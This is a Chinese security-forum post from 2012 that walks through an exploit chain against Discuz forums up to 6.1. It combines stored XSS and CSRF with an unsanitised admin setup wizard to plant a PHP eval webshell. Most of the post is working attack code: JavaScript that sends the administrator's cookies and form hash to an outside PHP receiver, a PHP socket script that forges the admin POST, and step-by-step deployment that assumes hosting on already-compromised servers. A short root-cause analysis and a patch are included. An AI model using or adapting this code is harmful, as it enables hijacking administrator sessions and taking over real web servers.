找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3952|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
; a" M% f* J  D" iBy racle @tian6.com
0 y1 @, l4 d' T" _( {+ P; F' U; E4 O欢迎转帖.但请保留版权信息.
( ~, V, j! k/ m1 a& s+ P( H4 r受影响版本iscuz<=6.1.0,gbk+utf+big5; w) m8 I0 S* T( j0 p

5 ?% H# I  V, \9 ]9 S1 W* B$ z新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
' ~5 ]8 ?: h7 Z& u8 i" W
  Z8 y* d# s2 ~9 J2 |
+ w% |! j- w, C! q3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706" p& Y$ W* e3 Q# X+ y
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.: v/ V+ S& J: K. g& X
/ m' L* ~5 ]* w5 _
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等../ P( y5 u( p* v7 T2 t5 a
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS8 a! T3 X* Q+ K+ \7 ]
8 c5 ^. X5 d; M7 i( H

" @2 [: _% s& I; {----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
  |  s" |# r3 @% f$ }( R$ z! x% s" C" g% f) u+ B  ~

- B" y% N& F  u: G* z7 b/ D& `' ]problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
3 ~! `. [) A; r3 M0 k
' U" g- S: P- j- U) d+ Oproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.) z4 y4 i( }8 I, j9 l' e

% t5 f0 _' m, r1 Aproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
0 n8 ~2 d7 _! D' Z$ d3 [; [+ M5 [2 [
1 X  @- h- p: ^- v+ ^- W" x" c
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
- d' y* a1 L" s. I+ K2 m7 I. h+ z
        global $runwizardfile, $runwizardhistory;
2 c, x/ ^9 m7 C4 }7 m$ x
! t% A- Z7 v' f- S        $fp = fopen($runwizardfile, 'w');. E* X9 [1 l% C* t2 I

4 Q$ Y2 Y  t4 N4 B        fwrite($fp, serialize($runwizardhistory));2 A, q( q0 X% F2 o, p* _

7 ]! U5 k: s! ]9 D" Z' h% z  \        fclose($fp);% h. _6 e6 s2 n+ q) v
1 t7 E7 b! G; c5 a' R
}$ c6 I8 M/ ]5 l9 S
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.4 j0 b7 T8 B) n) R1 a
以下是修补的办法:function saverunwizardhistory() {2 @8 L2 z( _& d7 W; e

! k  \8 h( X! N% C+ C* D4 D        global $runwizardfile, $runwizardhistory;3 j) B9 L1 {0 N2 G

% [6 X% M6 E, h7 x; L: ?9 t* Y7 K        $fp = fopen($runwizardfile, 'w');
$ p) s  l2 K' C6 P
# U& z+ t, `2 J  P$ s        $s = '<?php exit;?>';* w: d/ \) C+ p6 n; W' m
1 ]( b; a' j; l- {6 l3 A
        $s .= serialize($runwizardhistory);
/ `8 g: T, k$ a) T2 R1 J( e; a
9 }3 u' y" D5 D8 _3 ]/ J        fwrite($fp, $s);0 u" j! _& X- l% J( ~. l, L
# g; a# ]9 J! V/ T
        fclose($fp);
% J  {: ?# t4 {' ~2 o" h! l* O
}* L$ A  f$ v6 S) N4 I6 E
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& e; V6 Y; i$ n4 C! P$ A
8 _5 x6 P  E: H, D" \  X* n. \

& |6 l( @) {; b; f& d+ t/ m- D6 F+ Z' @4 y% {
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------  g: _" o$ N: m0 x
8 T& d3 n& c% }% [. g. _( w
) Y, g( R" e/ S$ ]& a- S& T% D% V6 g& Z3 E
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.$ Z; J6 ]4 {7 L, d

) v) d. ]7 }% w; x我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
( `  F- r7 G) }
' D7 V* E8 c7 X: t5 `" \这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.3 w4 i9 D& e, S4 B- q! w. X

7 z! H7 R9 E& W9 ], D7 e# T首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
. _3 ~5 K; s: y/ O6 ~4 L9 O# Z9 t# v# G* y$ S
var url="http://目标网站/admincp.php";      
4 n# ?# E7 t' g9 i/ d8 u* n
' ^: B0 a  l* `0 J9 S4 D, ^" r' X6 L/*获得cookies*/2 N4 b/ m6 G5 _6 o4 T
  @0 o8 B  Y4 Y) Q, V+ ]5 T/ i
function getURL(s) {; z: N3 T& Q: u5 I) ^' v" C0 n4 q
+ Y; v. h7 Z2 R: _7 u2 x
var image = new Image();9 `2 I$ @5 B% n& T+ q# l6 H

5 C/ w# o" _+ T7 r, iimage.style.width = 0;
5 @8 E  K* m' y: G
( K5 w* b2 g. [: w& E6 v% Kimage.style.height = 0;
8 u( D0 O$ e3 {: Q, n# x% }& S, r8 ?- i" y3 o5 z, _
image.src = s;
' A& D4 Y: s6 P; Y8 X) r( Z8 }- B5 {
}
% w8 j" ^1 q$ C& x% C  u3 Z
  [* h8 p, a( r# F% r" V& [getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php2 j9 O( o; |  F1 r+ `7 t  h1 n
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
1 V6 U0 k- C4 p6 K7 T复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ! }% M1 u! _! f$ s, `; ~
1 B1 f, @0 E0 n

  D( _3 |! \6 h" n  C获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
4 s8 K- z( n6 H0 l# p$ ?/ D% j& |! I6 w$ h/ `2 r) v( r

7 J! O0 e, C1 A) |- X
2 b8 F1 P  w# b8 L$ g- ]" \7 ?/*hash*/
& p( S5 z2 `: n, _' ~9 ^% S/ A: R+ o  c, C3 U
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
7 ~# @9 w' W& M5 b3 {
1 @8 n0 p6 o( R! d1 }& L8 cxmlHttpReq.open("GET", url+"admincp.php?action=home", false);% `6 N9 ?" b% M2 v

% n- D/ d7 C4 xxmlHttpReq.send();
- U6 S7 j2 z" j! C* M- y: J. N2 [+ B3 J
var resource = xmlHttpReq.responseText;/ L+ q7 E# D1 H% q4 F8 U

. b5 }5 Z; r& E) Q! {$ ^# ~var numero = resource.search(/formhash/);: q7 L  d! j3 W& D. T4 R
: G3 f1 i8 h+ |8 u0 R( r
var formhash=encodeURIComponent(resource.substr(numero+17,8));6 E6 S$ f% L! c3 f$ ?

$ B3 s8 A; A0 U( Q! B% Y- A: Q& Z! x6 [' H
- h* W( y8 I( F* O. h5 F: E; Y
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 . @) A4 T# {+ B$ r$ k
1 N" T3 k: [6 n7 Q
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 - M  w9 d2 c0 n- g" J$ h: h& c( i
5 m+ \" E; i9 j5 s2 W4 ~
xmlHttpReq.setRequestHeader("Referer", url);3 ^) o4 k' I$ N) p/ F- t: E
6 J& D5 k/ y- f; _- i+ Y0 r9 K
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ Y* L( i: V0 s+ k; [' s! f4 |* a2 O, g9 z$ u
xmlHttpReq.setrequestheader("content-length",post.length); * ?* N: W5 r0 D: y8 D

' c5 _" G$ D8 |+ V$ a1 VxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
2 c2 ?9 d( F6 j/ `
7 L) P# {8 W- I6 TxmlHttpReq.send(post);//发送数据1 F, D$ o. N# |9 P2 l
复制代码这里HASH我假设正确,这样提交,也无须cookies
* S& w* M, S" m* E+ e, H) ]  C# p/ r' g! j* A
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);+ L0 R' V: o$ r
) @8 o# f- ]2 R7 ?$ V
if (!$sock) die("$errstr ($errno)\n");
3 F) w( E2 R3 g8 R  F( n. T# E+ ]' I! C: M- \. s3 x" T
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';/ h* E6 r2 R" c) w) t2 F$ `

% a; @& m+ W" p+ W2 c: r, U) i0 P  M8 D
( A& n0 S& I- Z9 ^9 L! Q$ Q5 r, b* C  f- x
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");) ]' n  T) _' X/ M$ `: D) {

5 i' D$ `% r3 i! Afwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");  ?1 r3 Y% K5 z. K3 B
! Q5 q5 }% S: q* A* o. O; C- M2 B) ]
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
; `3 H7 p$ \, M) R' _7 V
; Q4 `3 M6 a( \, d2 Bfwrite($sock, "Accept-Language: zh-cn\r\n");
0 ]1 ~1 e! N3 b. D) B# O% A9 J$ s7 D/ w: F
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");5 F* P' O+ m& _7 ~: B3 |7 s
- O, t" [% r' [* s) u
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
" o& O' F  _1 v
- }3 n' r& }* N- Jfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
7 K& J# D3 H* j6 Z- W( o5 W# Z5 a# u4 A1 s7 {
fwrite($sock, "Host: $url\r\n");
4 Y1 o& n# B# g6 T" ?& y. L; _
% o3 n5 N: b: R( Afwrite($sock, "Content-Length: ".strlen($data)."\r\n");
; D  Z; U/ \* t/ g- k0 _" {
3 G, }6 Q, V, m4 Ifwrite($sock, "Connection: Keep-Alive\r\n");
# h2 K# b: J: ^2 Q: W+ W8 h. D& L
fwrite($sock, "Cache-Control: no-cache\r\n");
, |3 ^/ a/ u$ t* m5 O1 Z2 H
- F8 [# k4 @6 l" z1 }# rfwrite($sock, "Cookie:".$cookies."\r\n\r\n");5 @3 L9 ~8 L  e' P0 J0 w( Q( o1 T! G

/ c. n4 ~) p* b- E* S- M% bfwrite($sock, $data);. ?+ k4 A  Q, b  w  j

- Z2 m! B. S# p, x! N% D: Q
# [. V( `5 o- S/ R/ P% ?
# U; N, R; O2 }+ V$headers = "";
/ Q# e5 b) e) l3 V, O: L/ a! D
' Q( S! S, d' x& Y# a5 ewhile ($str = trim(fgets($sock, 4096)))
; Y: Z4 `& C( J; u8 }' A
9 J- T/ z" \/ z$ V' p     $headers .= "$str\n";
+ E. |! y1 \, E* n# G& ?; E) N& l$ V$ I4 v5 `- Y+ d
echo "\n";" y; c6 b" o4 d/ a1 ~2 V# z7 h

4 |( _" R2 k' U. r; f$body = "";9 Q. ]+ F! A9 k/ r( S8 \. c

6 f: K- J" |: i2 J# M% m. i- ]" S! V/ bwhile (!feof($sock))/ f; z9 ~1 ~' Q) L0 s% b+ o
3 {+ M9 u7 o9 T' g0 k5 |* Q) q
     $body .= fgets($sock, 4096);
/ O/ F/ ^' i) h
' ^" ?( Y2 ]8 F5 z/ `( T3 n* bfclose($sock);
) L2 g" @+ i7 X1 [
4 O  {) E) h0 wecho $body;* P/ W- l9 r% ]" W
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^! j! h% @; t- |7 w: U5 E3 {; `8 e, M/ d

6 ]6 J, [) Y) |; D# Z
( s: N$ w$ Y; w# D% J: |/ ?-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------; i$ H5 _$ K+ ?! N( W

8 a0 e, Y, A: ~3 L' {! I! p5 {- @( t" }$ J: }
1HP SOCKET利用方法首先打开racle.js
8 P3 F5 l3 ?1 v% S
* H$ e/ @' h; d! Wvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home7 m3 \5 v; L- U0 b$ D/ S

# v% w' S  n' e5 C4 p, \6 e3 W" Q' i# e0 e6 I! d. T2 e/ T% Q$ s
4 o; Y# u/ d. G' {1 K! `
然后打开racle@tian6.php
5 Z( }2 T3 }2 L7 @7 G( c  y) o
/ Y+ d; C* J! V  b5 h) a. g/ @$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
8 E+ N2 P$ `. O
. t3 t' m" D( u& E8 V; N( k
7 h$ ~" O( Y# V( A. ~+ {% s7 F' V7 k
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
. z0 I& O7 s0 r: w  B  K1 `' V9 F0 A* m7 l
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));6 _6 q4 E* k9 q8 A. U# j; _# e
4 ~) E" n, b4 f1 Z6 E
为; c$ p& b4 [  Z/ ]) D3 S; h; ?

7 X8 |9 ~5 Z3 G7 cgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
! A" |' x- T1 e& l复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.% }: c# @4 t1 D7 a9 @3 D

" U# I1 R+ c/ o6 |% L
, k/ a  X& e* Q( ?+ |7 q5 p' P( Y, U" w' W
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:4 X5 i+ [3 K4 M) I

6 t# _! I, ^, W$ n( S6 yvar formhash=encodeURIComponent(resource.substr(numero+17,8));3 u; m8 K  [2 N8 r% b! K+ ~* w

1 l, A2 ]( x- @% y( {为1 i' ~! l$ h6 `
/ n* B+ n6 }9 E$ a/ u
var formhash=encodeURIComponent(resource.substr(numero+9,8));
; q% E) j9 Y  \, t3 a1 E+ l复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
( Y# W& ^/ i3 G/ J6 L( Y1 `8 [6 W
7 j% |( v* y9 X+ y如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.. b9 D) e: c+ L# j. ~5 R- v

6 l5 t$ p+ O; `如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.+ s: q( I- v+ L( [1 s

, ]' }6 r3 _* Y9 t3 Q" L不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧." @) F* m5 w- Z  l

+ }( h7 i  x0 j5 l5 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表